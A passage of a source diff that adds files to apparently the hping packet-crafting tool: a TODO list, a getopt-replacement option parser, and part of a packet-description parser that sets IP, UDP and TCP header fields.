@ -0,0 +1,21 @@
|
|||||||
|
WARNING: Also try `grep FIXME *.c'
|
||||||
|
|
||||||
|
TODO (Stuff to do *before* 2.0.0 stable release)
|
||||||
|
|
||||||
|
- support for x.y.z.k/mask destination
|
||||||
|
also in this mode on TCP flags specified exec this program passing
|
||||||
|
as arguments the IP, port and some additional info.
|
||||||
|
- To add a decent verbose mode for ICMP packet received.
|
||||||
|
- add bpf filtering capability
|
||||||
|
- broadcast support in waitpacket.c
|
||||||
|
- replace exit() with hping_exit() that close the desciptors and so on.
|
||||||
|
- hping --getfield <fieldname>
|
||||||
|
|
||||||
|
TODO
|
||||||
|
|
||||||
|
- better solution than ip->id = getpid() & 255
|
||||||
|
- log and handle ip and tcp options (only incoming)
|
||||||
|
- support for hcmp source quench/stirup
|
||||||
|
- Other ip options (record route already implemented)
|
||||||
|
- dns query support
|
||||||
|
- scripting language support, send(...) ifrecv(...) etc...
|
295
antigetopt.c
Normal file
295
antigetopt.c
Normal file
@ -0,0 +1,295 @@
|
|||||||
|
/* antigetopt -- a getopt replacement
|
||||||
|
* Copyright(C) 2001 Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
* This software is released under the GPL license
|
||||||
|
* see the COPYING file for more information */
|
||||||
|
|
||||||
|
/* TODO:
|
||||||
|
* argument list sanity check */
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "antigetopt.h"
|
||||||
|
|
||||||
|
/* global vars */
|
||||||
|
char *ago_optarg = NULL;
|
||||||
|
char *ago_optname = NULL;
|
||||||
|
char ago_optchar = '\0';
|
||||||
|
|
||||||
|
/* static vars */
|
||||||
|
static struct ago_exception {
|
||||||
|
int (*tester)(void);
|
||||||
|
char *msg;
|
||||||
|
} ago_exceptions[3] = {
|
||||||
|
{ NULL, NULL },
|
||||||
|
{ NULL, NULL },
|
||||||
|
{ NULL, NULL }
|
||||||
|
};
|
||||||
|
|
||||||
|
static int ago_exception_bits[] = { AGO_EXCEPT0, AGO_EXCEPT1, AGO_EXCEPT2 };
|
||||||
|
|
||||||
|
/* static functions */
|
||||||
|
static struct ago_optlist
|
||||||
|
*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb);
|
||||||
|
static int strinitcmp(char *a, char *b);
|
||||||
|
|
||||||
|
/*----------------------------- implementation ------------------------------ */
|
||||||
|
|
||||||
|
int antigetopt(int argc, char **argv, struct ago_optlist *list)
|
||||||
|
{
|
||||||
|
static char **save_argv = NULL;
|
||||||
|
static char *chain = NULL;
|
||||||
|
static int endoptions = 0;
|
||||||
|
struct ago_optlist *opt;
|
||||||
|
int islong;
|
||||||
|
|
||||||
|
/* Reset */
|
||||||
|
if (argv == NULL) {
|
||||||
|
save_argv = NULL;
|
||||||
|
chain = NULL;
|
||||||
|
endoptions = 0;
|
||||||
|
return AGO_RESET;
|
||||||
|
} else {
|
||||||
|
if (save_argv == NULL) {
|
||||||
|
save_argv = argv+1; /* skips the argv[0] */
|
||||||
|
/* XXX: argument list sanity check */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
chain_start:
|
||||||
|
if (chain) {
|
||||||
|
if (*chain == '\0')
|
||||||
|
chain = NULL;
|
||||||
|
else {
|
||||||
|
if ((opt = ago_lookup(list, chain, &islong, NULL))
|
||||||
|
== NULL)
|
||||||
|
return AGO_UNKNOWN;
|
||||||
|
if (!(opt->ao_flags & AGO_NOARG)) {
|
||||||
|
/* the if expression maybe false if the
|
||||||
|
* argument is optional */
|
||||||
|
if (chain[1] == '\0' && *save_argv)
|
||||||
|
ago_optarg = *save_argv++;
|
||||||
|
/* while it is mandatory for the NEEDARG type */
|
||||||
|
else if (opt->ao_flags & AGO_NEEDARG)
|
||||||
|
return AGO_REQARG;
|
||||||
|
}
|
||||||
|
chain++;
|
||||||
|
return opt->ao_id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
argv = save_argv;
|
||||||
|
|
||||||
|
/* handle the "--" special option */
|
||||||
|
if (*argv && strcmp(*argv, "--") == 0) {
|
||||||
|
endoptions = 1;
|
||||||
|
argv++;
|
||||||
|
save_argv++;
|
||||||
|
}
|
||||||
|
|
||||||
|
while(*argv) {
|
||||||
|
/* The option must start with '-' */
|
||||||
|
if (!endoptions && argv[0][0] == '-' && argv[0][1] != '\0') {
|
||||||
|
int amb;
|
||||||
|
|
||||||
|
/* note: ago_lookup also sets ago_optname */
|
||||||
|
if ((opt = ago_lookup(list, argv[0], &islong, &amb))
|
||||||
|
== NULL)
|
||||||
|
return amb ? AGO_AMBIG : AGO_UNKNOWN;
|
||||||
|
|
||||||
|
/* handle the collapsed short options */
|
||||||
|
if (!islong && argv[0][2] != '\0') {
|
||||||
|
chain = argv[0]+1;
|
||||||
|
save_argv++;
|
||||||
|
goto chain_start;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* if the option require or may have an argument */
|
||||||
|
ago_optarg = NULL;
|
||||||
|
/* If the argument is needed we get the next argv[]
|
||||||
|
* element without care about what it contains */
|
||||||
|
if (opt->ao_flags & AGO_NEEDARG) {
|
||||||
|
if (argv[1] == NULL)
|
||||||
|
return AGO_REQARG;
|
||||||
|
ago_optarg = argv[1];
|
||||||
|
argv++;
|
||||||
|
}
|
||||||
|
/* If the argument is optional we only recognize it
|
||||||
|
* as argument if it does not starts with '-' */
|
||||||
|
else if (opt->ao_flags & AGO_OPTARG) {
|
||||||
|
if (argv[1] && argv[1][0] != '-') {
|
||||||
|
ago_optarg = argv[1];
|
||||||
|
argv++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
save_argv = argv+1;
|
||||||
|
return opt->ao_id;
|
||||||
|
} else {
|
||||||
|
save_argv = argv+1;
|
||||||
|
ago_optarg = argv[0];
|
||||||
|
ago_optchar = '\0';
|
||||||
|
ago_optname = NULL;
|
||||||
|
return AGO_ALONE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return AGO_EOF;
|
||||||
|
}
|
||||||
|
|
||||||
|
#define UNK_SHORT_ERRSTRING "invalid option -- %c\n"
|
||||||
|
#define UNK_LONG_ERRSTRING "unrecognized option `--%s'\n"
|
||||||
|
#define ARG_SHORT_ERRSTRING "option requires an argument -- %c\n"
|
||||||
|
#define ARG_LONG_ERRSTRING "option `--%s' requires an argument\n"
|
||||||
|
#define AMB_ERRSTRING "option `--%s' is ambiguous\n"
|
||||||
|
#define IERR_ERRSTRING "internal error. ago_gnu_error() called with " \
|
||||||
|
"a bad error code (%d)\n"
|
||||||
|
void ago_gnu_error(char *pname, int error)
|
||||||
|
{
|
||||||
|
if (pname)
|
||||||
|
fprintf(stderr, "%s: ", pname);
|
||||||
|
switch(error) {
|
||||||
|
case AGO_UNKNOWN:
|
||||||
|
if (ago_optname)
|
||||||
|
fprintf(stderr, UNK_LONG_ERRSTRING,
|
||||||
|
ago_optname);
|
||||||
|
else
|
||||||
|
fprintf(stderr, UNK_SHORT_ERRSTRING,
|
||||||
|
ago_optchar);
|
||||||
|
break;
|
||||||
|
case AGO_REQARG:
|
||||||
|
if (ago_optname)
|
||||||
|
fprintf(stderr, ARG_LONG_ERRSTRING,
|
||||||
|
ago_optname);
|
||||||
|
else
|
||||||
|
fprintf(stderr, ARG_SHORT_ERRSTRING,
|
||||||
|
ago_optchar);
|
||||||
|
break;
|
||||||
|
case AGO_AMBIG:
|
||||||
|
fprintf(stderr, AMB_ERRSTRING, ago_optname);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
fprintf(stderr, IERR_ERRSTRING, error);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int ago_set_exception(int except_nr, int (*tester)(void), char *msg)
|
||||||
|
{
|
||||||
|
if (tester == NULL || msg == NULL || except_nr < 0 || except_nr >= 3)
|
||||||
|
return -1;
|
||||||
|
ago_exceptions[except_nr].tester = tester;
|
||||||
|
ago_exceptions[except_nr].msg = msg;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*-------------------------- static functions ------------------------------- */
|
||||||
|
|
||||||
|
struct ago_optlist
|
||||||
|
*ago_lookup(struct ago_optlist *list, char *arg, int *islong, int *amb)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
/* ago_lookup can be receive as `arg' a pointer to a
|
||||||
|
* long argument, like --option, a pointer to a short
|
||||||
|
* argument like -O, or just a pointer to a char sequence
|
||||||
|
* in the case of collapsed short arguments like -abcde. */
|
||||||
|
|
||||||
|
/* Clear the 'ambiguos' flag, used to report the caller
|
||||||
|
* an ambiguos option abbreviation error */
|
||||||
|
if (amb) *amb = 0;
|
||||||
|
|
||||||
|
if (*arg == '-') /* skips the first - if any */
|
||||||
|
arg++;
|
||||||
|
|
||||||
|
switch(*arg) {
|
||||||
|
case '\0':
|
||||||
|
return NULL;
|
||||||
|
case '-':
|
||||||
|
*islong = 1;
|
||||||
|
arg++; /* skip the last - */
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
*islong = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* search the argument in the list */
|
||||||
|
if (*islong) {
|
||||||
|
int retval;
|
||||||
|
struct ago_optlist *last = NULL;
|
||||||
|
|
||||||
|
while(!(list->ao_flags & AGO_ENDOFLIST)) {
|
||||||
|
ago_optname = arg;
|
||||||
|
ago_optchar = '\0';
|
||||||
|
if ((retval = strinitcmp(arg, list->ao_long)) != 0) {
|
||||||
|
switch(retval) {
|
||||||
|
case 1:
|
||||||
|
if (last) {
|
||||||
|
if (amb) *amb = 1;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
last = list;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
goto ok;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
list++;
|
||||||
|
}
|
||||||
|
if (last) {
|
||||||
|
ago_optname = last->ao_long;
|
||||||
|
list = last;
|
||||||
|
goto ok;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
ago_optchar = *arg;
|
||||||
|
ago_optname = NULL;
|
||||||
|
while(!(list->ao_flags & AGO_ENDOFLIST)) {
|
||||||
|
if (*arg == list->ao_short)
|
||||||
|
goto ok;
|
||||||
|
list++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
ok:
|
||||||
|
/* handle the exceptions if any */
|
||||||
|
for (i = 0; i < 3; i++) {
|
||||||
|
if ((list->ao_flags & ago_exception_bits[i]) &&
|
||||||
|
ago_exceptions[i].tester)
|
||||||
|
{
|
||||||
|
if (ago_exceptions[i].tester()) {
|
||||||
|
if (ago_optname) {
|
||||||
|
fprintf(stderr, "%s `--%s'\n",
|
||||||
|
ago_exceptions[i].msg,
|
||||||
|
ago_optname);
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "%s `-%c'\n",
|
||||||
|
ago_exceptions[i].msg,
|
||||||
|
ago_optchar);
|
||||||
|
}
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Given two strings this function returns:
|
||||||
|
* 1, if the strings are the same for the len of the first string (abc, abcde)
|
||||||
|
* 2, if the strings are exactly the same: (abcd, abcd)
|
||||||
|
* otherwise zero is returned (abcde, abcd) ... (djf, 293492) */
|
||||||
|
int strinitcmp(char *a, char *b)
|
||||||
|
{
|
||||||
|
if (!a || !b)
|
||||||
|
return 0;
|
||||||
|
while (*a && *b) {
|
||||||
|
if (*a != *b)
|
||||||
|
return 0;
|
||||||
|
a++; b++;
|
||||||
|
}
|
||||||
|
if (*a)
|
||||||
|
return 0;
|
||||||
|
if (*a == *b)
|
||||||
|
return 2;
|
||||||
|
return 1;
|
||||||
|
}
|
35
antigetopt.h
Normal file
35
antigetopt.h
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
#ifndef __ANTIGETOPT_H
|
||||||
|
#define __ANTIGETOPT_H
|
||||||
|
|
||||||
|
/* special return codes */
|
||||||
|
enum { AGO_EOF=4000, AGO_ALONE, AGO_UNKNOWN, AGO_REQARG, AGO_RESET, AGO_AMBIG };
|
||||||
|
|
||||||
|
/* option flags */
|
||||||
|
#define AGO_NOARG (1<<0) /* no argument */
|
||||||
|
#define AGO_NEEDARG (1<<1) /* required argument */
|
||||||
|
#define AGO_OPTARG (1<<2) /* optional argument */
|
||||||
|
#define AGO_EXCEPT0 (1<<3) /* exception #0 */
|
||||||
|
#define AGO_EXCEPT1 (1<<4) /* exception #1 */
|
||||||
|
#define AGO_EXCEPT2 (1<<5) /* exception #3 */
|
||||||
|
#define AGO_ENDOFLIST (1<<15) /* end of argument list marker */
|
||||||
|
|
||||||
|
/* option list null term */
|
||||||
|
#define AGO_LIST_TERM {'\0',NULL,0,AGO_ENDOFLIST}
|
||||||
|
|
||||||
|
/* The structure that defines an argument */
|
||||||
|
struct ago_optlist {
|
||||||
|
char ao_short;
|
||||||
|
char *ao_long;
|
||||||
|
int ao_id;
|
||||||
|
int ao_flags;
|
||||||
|
};
|
||||||
|
|
||||||
|
extern char *ago_optarg;
|
||||||
|
extern char *ago_optname;
|
||||||
|
extern char ago_optchar;
|
||||||
|
|
||||||
|
int antigetopt(int argc, char **argv, struct ago_optlist *list);
|
||||||
|
void ago_gnu_error(char *pname, int error);
|
||||||
|
int ago_set_exception(int except_nr, int (*tester)(void), char *msg);
|
||||||
|
|
||||||
|
#endif /* __ANTIGETOPT_H */
|
489
apd.c
Normal file
489
apd.c
Normal file
@ -0,0 +1,489 @@
|
|||||||
|
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
* See the LICENSE file for more information.
|
||||||
|
*
|
||||||
|
* ARS Packet Description System.
|
||||||
|
*
|
||||||
|
* Please, prefix all the function with ars_d_ */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include "ars.h"
|
||||||
|
|
||||||
|
#define ARS_MAX_TSIZE 1024
|
||||||
|
char *ars_d_parser(char *t, char *next, size_t size)
|
||||||
|
{
|
||||||
|
int i = 0;
|
||||||
|
|
||||||
|
if (size == 0 || next == NULL || *t == '\0')
|
||||||
|
return NULL;
|
||||||
|
size--; /* space for nul term */
|
||||||
|
while (1) {
|
||||||
|
/* no space for the next char */
|
||||||
|
if (i == size) {
|
||||||
|
next[i] = '\0';
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
switch(*t) {
|
||||||
|
case '\0':
|
||||||
|
case '{':
|
||||||
|
case '}':
|
||||||
|
case ',':
|
||||||
|
case '=':
|
||||||
|
case '+':
|
||||||
|
if (i == 0) {
|
||||||
|
next[i] = *t;
|
||||||
|
next[i+1] = '\0';
|
||||||
|
return t+1;
|
||||||
|
} else {
|
||||||
|
next[i] = '\0';
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
next[i++] = *t++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL; /* unreached */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* states */
|
||||||
|
#define ARS_G_LAYER 0
|
||||||
|
#define ARS_G_FIELD 1
|
||||||
|
#define ARS_G_VALUE 2
|
||||||
|
#define ARS_G_OBRACE_OR_PLUS 3
|
||||||
|
#define ARS_G_CBRACE 4
|
||||||
|
#define ARS_G_COMMA_OR_CBRACE 5
|
||||||
|
#define ARS_G_LEN_OR_PLUS 6
|
||||||
|
#define ARS_G_PLUS 7
|
||||||
|
#define ARS_G_EQUAL 8
|
||||||
|
|
||||||
|
struct ars_d_keyword_info {
|
||||||
|
char *ki_keyword;
|
||||||
|
int ki_opt;
|
||||||
|
void *(*ki_add) (struct ars_packet *pkt, int opt);
|
||||||
|
int (*ki_set) (struct ars_packet *pkt, int layer, char *f, char *v);
|
||||||
|
};
|
||||||
|
|
||||||
|
#define ARS_DKINFO_SIZE 64
|
||||||
|
|
||||||
|
#define BOGUS_SET_F(x) \
|
||||||
|
int (x)(struct ars_packet *pkt, int layer, char *f, char *v) { return 0; }
|
||||||
|
|
||||||
|
int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v);
|
||||||
|
int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v);
|
||||||
|
int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v);
|
||||||
|
int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v);
|
||||||
|
int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v);
|
||||||
|
BOGUS_SET_F(ars_d_set_ipopt_sec)
|
||||||
|
BOGUS_SET_F(ars_d_set_ipopt_sid)
|
||||||
|
BOGUS_SET_F(ars_d_set_ipopt_lsrr)
|
||||||
|
BOGUS_SET_F(ars_d_set_ipopt_ssrr)
|
||||||
|
BOGUS_SET_F(ars_d_set_ipopt_rr)
|
||||||
|
BOGUS_SET_F(ars_d_set_ipopt_ts)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_mss)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_wscale)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_sackperm)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_sack)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_echo)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_echoreply)
|
||||||
|
BOGUS_SET_F(ars_d_set_tcpopt_ts)
|
||||||
|
|
||||||
|
struct ars_d_keyword_info ars_dkinfo[ARS_DKINFO_SIZE] = {
|
||||||
|
/* KEYWORD OPT ADD function SET function *
|
||||||
|
* --------------------------------------------------------- */
|
||||||
|
{"ip", 0, ars_add_iphdr, ars_d_set_ip},
|
||||||
|
{"ipopt.eol", ARS_IPOPT_EOL, ars_add_ipopt, NULL},
|
||||||
|
{"ipopt.nop", ARS_IPOPT_NOP, ars_add_ipopt, NULL},
|
||||||
|
{"ipopt.sec", ARS_IPOPT_SEC, ars_add_ipopt, ars_d_set_ipopt_sec},
|
||||||
|
{"ipopt.sid", ARS_IPOPT_SID, ars_add_ipopt, ars_d_set_ipopt_sid},
|
||||||
|
{"ipopt.lsrr", ARS_IPOPT_LSRR, ars_add_ipopt, ars_d_set_ipopt_lsrr},
|
||||||
|
{"ipopt.ssrr", ARS_IPOPT_SSRR, ars_add_ipopt, ars_d_set_ipopt_ssrr},
|
||||||
|
{"ipopt.rr", ARS_IPOPT_RR, ars_add_ipopt, ars_d_set_ipopt_rr},
|
||||||
|
{"ipopt.ts", ARS_IPOPT_TIMESTAMP, ars_add_ipopt, ars_d_set_ipopt_ts},
|
||||||
|
{"udp", 0, ars_add_udphdr, ars_d_set_udp},
|
||||||
|
{"tcp", 0, ars_add_tcphdr, ars_d_set_tcp},
|
||||||
|
{"tcpopt.end", ARS_TCPOPT_EOL, ars_add_tcpopt, NULL},
|
||||||
|
{"tcpopt.nop", ARS_TCPOPT_NOP, ars_add_tcpopt, NULL},
|
||||||
|
{"tcpopt.mss", ARS_TCPOPT_MAXSEG, ars_add_tcpopt, ars_d_set_tcpopt_mss},
|
||||||
|
{"tcpopt.wscale", ARS_TCPOPT_WINDOW, ars_add_tcpopt, ars_d_set_tcpopt_wscale},
|
||||||
|
{"tcpopt.sackperm", ARS_TCPOPT_SACK_PERM, ars_add_tcpopt, ars_d_set_tcpopt_sackperm},
|
||||||
|
{"tcpopt.sack", ARS_TCPOPT_SACK, ars_add_tcpopt, ars_d_set_tcpopt_sack},
|
||||||
|
{"tcpopt.echo", ARS_TCPOPT_ECHOREQUEST, ars_add_tcpopt, ars_d_set_tcpopt_echo},
|
||||||
|
{"tcpopt.echoreply", ARS_TCPOPT_ECHOREPLY, ars_add_tcpopt, ars_d_set_tcpopt_echoreply},
|
||||||
|
{"tcpopt.ts", ARS_TCPOPT_TIMESTAMP, ars_add_tcpopt, ars_d_set_tcpopt_ts},
|
||||||
|
{"icmp", 0, ars_add_icmphdr, ars_d_set_icmp},
|
||||||
|
{"data", 0, ars_add_data, ars_d_set_data},
|
||||||
|
{NULL, 0, NULL, NULL} /* nul term */
|
||||||
|
};
|
||||||
|
|
||||||
|
struct ars_d_keyword_info *ars_get_keyword_by_name(char *name)
|
||||||
|
{
|
||||||
|
struct ars_d_keyword_info *k = ars_dkinfo;
|
||||||
|
|
||||||
|
while (k->ki_keyword) {
|
||||||
|
if (strcasecmp(k->ki_keyword, name) == 0)
|
||||||
|
return k;
|
||||||
|
k++;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ars_d_setlayer_size(struct ars_packet *pkt, int layer, char *size)
|
||||||
|
{
|
||||||
|
size_t newsize;
|
||||||
|
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
newsize = ars_atou(size);
|
||||||
|
if (newsize < 1 || newsize > pkt->p_layer[layer].l_size) {
|
||||||
|
ars_set_error(pkt, "Invalid layer size in description");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
pkt->p_layer[layer].l_size = newsize;
|
||||||
|
|
||||||
|
__D(printf("Setting the layer to size %s\n", size);)
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ars_d_set_ip(struct ars_packet *pkt, int layer, char *f, char *v)
|
||||||
|
{
|
||||||
|
struct ars_iphdr *ip;
|
||||||
|
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
ip = pkt->p_layer[layer].l_data;
|
||||||
|
|
||||||
|
if (strcasecmp(f, "saddr") == 0) {
|
||||||
|
return ars_resolve(pkt, &ip->saddr, v);
|
||||||
|
} else if (strcasecmp(f, "daddr") == 0) {
|
||||||
|
return ars_resolve(pkt, &ip->daddr, v);
|
||||||
|
} else if (strcasecmp(f, "ihl") == 0) {
|
||||||
|
ip->ihl = ars_atou(v);
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_HDRLEN;
|
||||||
|
} else if (strcasecmp(f, "ver") == 0) {
|
||||||
|
ip->version = ars_atou(v);
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_VERSION;
|
||||||
|
} else if (strcasecmp(f, "tos") == 0) {
|
||||||
|
ip->tos = ars_atou(v);
|
||||||
|
} else if (strcasecmp(f, "totlen") == 0) {
|
||||||
|
ip->tot_len = htons(ars_atou(v));
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_TOTLEN;
|
||||||
|
} else if (strcasecmp(f, "id") == 0) {
|
||||||
|
ip->id = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "fragoff") == 0) {
|
||||||
|
ip->frag_off = ip->frag_off & 0xE000;
|
||||||
|
ip->frag_off = htons(ars_atou(v) >> 3);
|
||||||
|
} else if (strcasecmp(f, "mf") == 0) {
|
||||||
|
if (ars_atou(v) == 0)
|
||||||
|
ip->frag_off &= htons(~ARS_IP_MF);
|
||||||
|
else
|
||||||
|
ip->frag_off |= htons(ARS_IP_MF);
|
||||||
|
} else if (strcasecmp(f, "df") == 0) {
|
||||||
|
if (ars_atou(v) == 0)
|
||||||
|
ip->frag_off &= htons(~ARS_IP_DF);
|
||||||
|
else
|
||||||
|
ip->frag_off |= htons(ARS_IP_DF);
|
||||||
|
} else if (strcasecmp(f, "rf") == 0) {
|
||||||
|
if (ars_atou(v) == 0)
|
||||||
|
ip->frag_off &= htons((u_int16_t)~ARS_IP_RF);
|
||||||
|
else
|
||||||
|
ip->frag_off |= htons(ARS_IP_RF);
|
||||||
|
} else if (strcasecmp(f, "ttl") == 0) {
|
||||||
|
ip->ttl = ars_atou(v);
|
||||||
|
} else if (strcasecmp(f, "proto") == 0) {
|
||||||
|
ip->protocol = ars_atou(v);
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_PROTOCOL;
|
||||||
|
} else if (strcasecmp(f, "cksum") == 0) {
|
||||||
|
ip->check = htons(ars_atou(v));
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_IP_CKSUM;
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Invalid field for IP layer");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ars_d_set_udp(struct ars_packet *pkt, int layer, char *f, char *v)
|
||||||
|
{
|
||||||
|
struct ars_udphdr *udp;
|
||||||
|
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
udp = pkt->p_layer[layer].l_data;
|
||||||
|
|
||||||
|
if (strcasecmp(f, "sport") == 0) {
|
||||||
|
udp->uh_sport = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "dport") == 0) {
|
||||||
|
udp->uh_dport = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "len") == 0) {
|
||||||
|
udp->uh_ulen = htons(ars_atou(v));
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_LEN;
|
||||||
|
} else if (strcasecmp(f, "cksum") == 0) {
|
||||||
|
udp->uh_sum = htons(ars_atou(v));
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_UDP_CKSUM;
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Invalid field for UDP layer");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ars_d_set_tcp(struct ars_packet *pkt, int layer, char *f, char *v)
|
||||||
|
{
|
||||||
|
struct ars_tcphdr *tcp;
|
||||||
|
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
||||||
|
|
||||||
|
tcp = pkt->p_layer[layer].l_data;
|
||||||
|
|
||||||
|
if (strcasecmp(f, "sport") == 0) {
|
||||||
|
tcp->th_sport = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "dport") == 0) {
|
||||||
|
tcp->th_dport = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "seq") == 0) {
|
||||||
|
tcp->th_seq = htonl(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "ack") == 0) {
|
||||||
|
tcp->th_ack = htonl(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "x2") == 0) {
|
||||||
|
tcp->th_x2 = ars_atou(v);
|
||||||
|
} else if (strcasecmp(f, "off") == 0) {
|
||||||
|
tcp->th_off = ars_atou(v);
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_HDRLEN;
|
||||||
|
} else if (strcasecmp(f, "flags") == 0) {
|
||||||
|
tcp->th_flags = 0;
|
||||||
|
if (strchr(v, 'f') || strchr(v, 'F'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_FIN;
|
||||||
|
if (strchr(v, 's') || strchr(v, 'S'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_SYN;
|
||||||
|
if (strchr(v, 'r') || strchr(v, 'R'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_RST;
|
||||||
|
if (strchr(v, 'p') || strchr(v, 'P'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_PUSH;
|
||||||
|
if (strchr(v, 'a') || strchr(v, 'A'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_ACK;
|
||||||
|
if (strchr(v, 'u') || strchr(v, 'U'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_URG;
|
||||||
|
if (strchr(v, 'x') || strchr(v, 'X'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_X;
|
||||||
|
if (strchr(v, 'y') || strchr(v, 'Y'))
|
||||||
|
tcp->th_flags |= ARS_TCP_TH_Y;
|
||||||
|
} else if (strcasecmp(f, "win") == 0) {
|
||||||
|
tcp->th_win = htons(ars_atou(v));
|
||||||
|
} else if (strcasecmp(f, "cksum") == 0) {
|
||||||
|
tcp->th_sum = htons(ars_atou(v));
|
||||||
|
pkt->p_layer[layer].l_flags |= ARS_TAKE_TCP_CKSUM;
|
||||||
|
} else if (strcasecmp(f, "urp") == 0) {
|
||||||
|
tcp->th_urp = htons(ars_atou(v));
|
||||||
|
} else {
|
||||||
|
ars_set_error(pkt, "Invalid field for TCP layer");
|
||||||
|
return -ARS_INVALID;
|
||||||
|
}
|
||||||
|
return -ARS_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ars_d_set_icmp(struct ars_packet *pkt, int layer, char *f, char *v)
|
||||||
|
{
|
||||||
|
struct ars_icmphdr *icmp;
|
||||||
|
|
||||||
|
if (layer == ARS_LAST_LAYER)
|
||||||
|
layer = pkt->p_layer_nr - 1;
|
||||||
|
if (ars_valid_layer(layer) != -ARS_OK)
|
||||||
|
return -ARS_INVALID;
|
